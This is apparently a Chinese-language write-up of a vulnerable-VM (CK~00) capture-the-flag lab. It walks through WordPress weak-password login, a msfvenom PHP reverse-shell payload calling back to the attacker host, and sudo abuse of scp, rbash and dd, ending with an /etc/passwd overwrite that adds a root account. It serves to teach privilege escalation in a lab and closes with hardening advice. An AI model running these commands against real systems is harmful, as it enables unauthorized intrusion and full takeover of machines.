本文为系列文章第四篇,难度为中级+,本篇难度主要在于linux提权,这里涉及了多种提权方法的思路,一步步研究加上些许变通,最终才拿下root。相信大家在看完前三篇之后,对信息收集应该有所理解了。
1、信息收集:
1)对目标进行端口扫描,探测开放的端口及应用,目标主机开放了22端口和80端口。
2)从80端口(web服务)入手,进行目录扫描,发现首页和wordpress网站,首页为apache的默认页面。先对wordpress进行了扫描,发现可用用户admin,并进行暴力破解,未爆破成功,之后通过弱口令admin登录成功。
3)Wordpress网站上传木马反弹shell,拿到主机第一个据点。
2、提权:
1)遍历系统文件,找到wordpress配置文件,发现了数据库账户密码,进行账户切换,登录到bla用户。
2)通过bla用户下scp的sudo操作,将攻击机的ssh公钥拷贝到靶机的bla1用户目录下,使用ssh登录bla1用户。
3)通过bla1用户下rbash的sudo操作,提权至ck-00用户。
4)通过ck-00用户下dd的sudo操作,添加1个root权限账户并覆盖/etc/passwd,从而提权至root权限。
靶机描述:
VulnerableVM to learn Basics of privilege escalation.
Goal: Your goal will be to get highest privileged user and collect theflag
Virtualbox is recommended for configuring CK~00 box
Feelfree to contact me at @CyberKnight00.
Thisworks better with VirtualBox rather than VMware
靶机地址
靶机ip:192.168.43.126
用到的知识点、工具和漏洞:
Nmap:一款开源的端口扫描器,用于端口扫描及服务识别
Dirbuster:一款目录扫描器,kali中自带,用于目录探测
Wpscan:一款专门扫描wordpress站点的漏洞扫描器
Metasploit:集成了大量攻击脚本的安全框架,并固化了利用流程,kali中自带
Msfvenom:简称美少妇,用于生成木马的工具,kali中自带
wordpress插件反弹shell:wordpress是一款国外免费开源的博客软件和内容管理系统
各种提权方法:scp拷贝ssh公钥,dd添加root权限账户覆盖/etc/passwd
主机探测:netdiscover-i eth0 -r 192.168.43.0/24
端口探测及服务识别:nmap-sS -sV -T5 -A 192.168.43.126
当前靶机开放了22和80端口,首先以80的web服务为突破口。
Ofcourse 先扫波目录,这里使用的kali自带的dirbuster
得嘞,又是一个wordpress站点。话不多说,wpscan伺候。
刚打开就是apache的默认页面,之前都掠过这个页面做目录扫描,如今目录扫描未扫出有用的目录,这里就有两个问题了,1.可能字典不够强大,2.在首页查询有用的信息。于是去试了其他的目录字典,还是没有结果,回过头再去认真看看首页。
这里稍微提一下:有些同学可能发现站点没有正常加载,这里可以在/etc/host文件中添加信息,即可正常访问(一般可通过该方法解决)
一般碰见wordpress站点,有几种思路可以去考虑。
wpscan枚举用户名,口令,进入后台上传shell
通过wpscan枚举出相关插件,通过https://wpvulndb.com查询对应插件版本所具有的漏洞,根据插件的远程命令执行漏洞反弹shell
正好wpscan的结果也出来了,咱们先看一下
没发现啥漏洞或者插件,倒是枚举出了admin用户,那么这里大概率要通过获取口令来打开突破口,一种办法使用通用字典爆破,另一种就是使用cewl收集网页中出现的字符作为字典,再去爆破。这里我选择第二种方式,因为之前有遇到过类似的靶机。
使用命令cewl
示例:cewhttp://192.168.43.126 -wpass.txt
然后使用wpscan进行爆破
wpscan--url http://192.168.43.126 -U admin -P pass.txt
没发现可用密码,正准备掏出字典进行爆破时,随手去试了下admin:admin,它,竟然就进去了
想不到今天人品爆棚啊,进入后台了,拿shell还不是soeasy啦,wordpress后台拿shell有两种办法,一是添加主题处上传shell,或者更改默认主题的php页面上传shell,二是添加插件处上传shell,或者替换默认插件处的php文件上传shell,两种方法类似,随便用哪一种。
准备用第一种办法,在默认主题处上传shell,发现更新不了。
于是到插件模块中上传shell
发现也无法更新,这里后面多次尝试,发现已启用的插件是更新不了的,未启用的插件是可以进行更新的,于是在未启用的插件里的php文件中写入我们的shell,这个shell使用msfvenom生成
msfvenom -p php/meterpreter/reverse_tcplhost=192.168.43.140 lport=4444 -o shell.php
写入我们的shell,这里注意下面标红处,待会找文件路径会用到,该处为插件名称
下面咱们访问http://ck/wp-content/plugins/smPYlYvIeE/找到shell文件
然后kali准备反弹shell
访问shell文件,拿到shell
拿到shell第1件事就是获取一个标准shell,可通过以下命令获取(ps:python,python3都试一下,有些系统只装了其中1种)
python3-c import pty; pty.spawn("/bin/bash")
下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。
cat /etc/passwd查看一下系统存在的用户
这里发现有三个用户,但是到这里咱们前面没有拿到有关的信息,现在只能继续信息收集。
先去/home目录下看看,拿到了第一个flag
目前也就先拿个flag慰藉一下自己,由于前期没有相关有用的信息可供提权,在拿到第1个用户权限前,完全是在抓瞎,老老实实翻看各个文件目录。后面去查看wordpress的配置文件找到了mysql的密码
看密码也许是某个用户的密码,然后尝试切换,成功切换到bla用户。
为了方便后续操作,这里选择使用ssh远程上去进行下一步行动
最后就是如何获取root权限,有以下几个思路
sudo -l 查询具有sudo权限命令,然后提权
SUID提权,find / -perm -u=s -type f 2>/dev/null
通过在/etc/passwd添加一个root权限的账户进行提权
find / -writable -type f 2>/dev/null 查找可利用的可写文件
内核提权
其他
这里使用sudo-l 查询有哪些sudo权限命令
看来这里需要通过scp进行提权,scp可以从远程服务器拷贝文件到本地服务器,也可以拷贝本地文件到远程服务器。scp用法具体可参考scp用法。
那么这里就有1个思路了,通过scp将kali的ssh公钥拷贝到bla1的用户目录下,之后即可进行SSH免密码登录从而达到提权的效果,至于ssh密钥如何生成以及如何使用密钥免密码登录,请参考SSH密钥免密码登录。
我这里在kali上生成了密钥,下面标红处为公钥
所以这里可使用以下命令来将kali公钥拷贝到bla1用户目录下
sudo-u bla1 scp root@192.168.43.140:/root/.ssh/id_rsa.pub
/home/bla1/.ssh/authorized_keys
拷贝成功,注意kali需开启ssh服务,关于kali的ssh配置可在百度上搜索相关教程。
下面就是ssh免密码登录bla1账户了
Bingo!,继续sudo-l进行查询
这里使用rbash提权,网上查询资料,rbash是一个受限的shell环境,具体提权,这里只需使用下述命令即可
sudo-u ck-00 rbash
拿到了ck-00账户权限,由于使用rbash提权上来的,现在的shell环境是受限。
可以发现很多命令无法使用,下面截图展示
还是先sudo-l 查询下
这里需使用dd提权,具体提权方法也不太清楚,还是推荐之前的1个网站
各种提权命令集合。不过该网站最近访问有时访问不了,可能是网络原因。我这里把提权方法给复制下来了
Sudo
Itruns in privileged context and may be used to access the file system,escalate or maintain access with elevated privileges if enabled onsudo.
使用下面命令可提权
LFILE=file_to_write
echo"data" | sudo -E dd of=$LFILE
刚才导致的错误是由于sudo的-E参数造成的,这里只需去掉-E参数即可。
好像也没有提权成功呀,查看了下当前目录
发现在当前目录下生成了file_to_write,里面内容为data。我立马领悟了,这里可以通过该命令在任意文件中写入内容。那么提权路子就来了。
咱们可以在/etc/passwd文件中添加1个root权限账户,从而来提权。于是立马就开干。这里有个小坑,大家要注意,我先给填上,后面我再来讲述。
这里咱们先查询一下/etc/passwd
把里面所有内容复制下来,再在后面添加一个用户,用户密码由使用以下命令生成
LFILE=/etc/passwd
echo"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:MailingList Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemdNetwork Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQLServer,,,:/nonexistent:/bin/false
bla1:x:1001:1001:Bla1,01,0000,0001:/home/bla1:/bin/bash
bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash
dawn:FipxP14Sy8yNc:0:0:root:/root:/bin/bash"(ps填坑:这里先输入这个,然后手动输入后面的命令,不然会报错,稍有不慎更会损坏/etc/passwd文件,那就GG,执行这步前可以先备份)
"| sudo dd of=$LFILE
执行成功,咱们再来看看/etc/passwd内容
已经添加用户dawn,咱们来切换一下
拿到root,剩下读取最后的flag
一定要注意弱口令
口令共用问题,对于数据库账户与系统账户应设置不同的密码
Sudo权限需要合规配置
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/130057.html
摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...
阅读 1235·2023-01-11 13:20
阅读 1542·2023-01-11 13:20
阅读 994·2023-01-11 13:20
阅读 1650·2023-01-11 13:20
阅读 3958·2023-01-11 13:20
阅读 2456·2023-01-11 13:20
阅读 1288·2023-01-11 13:20
阅读 3450·2023-01-11 13:20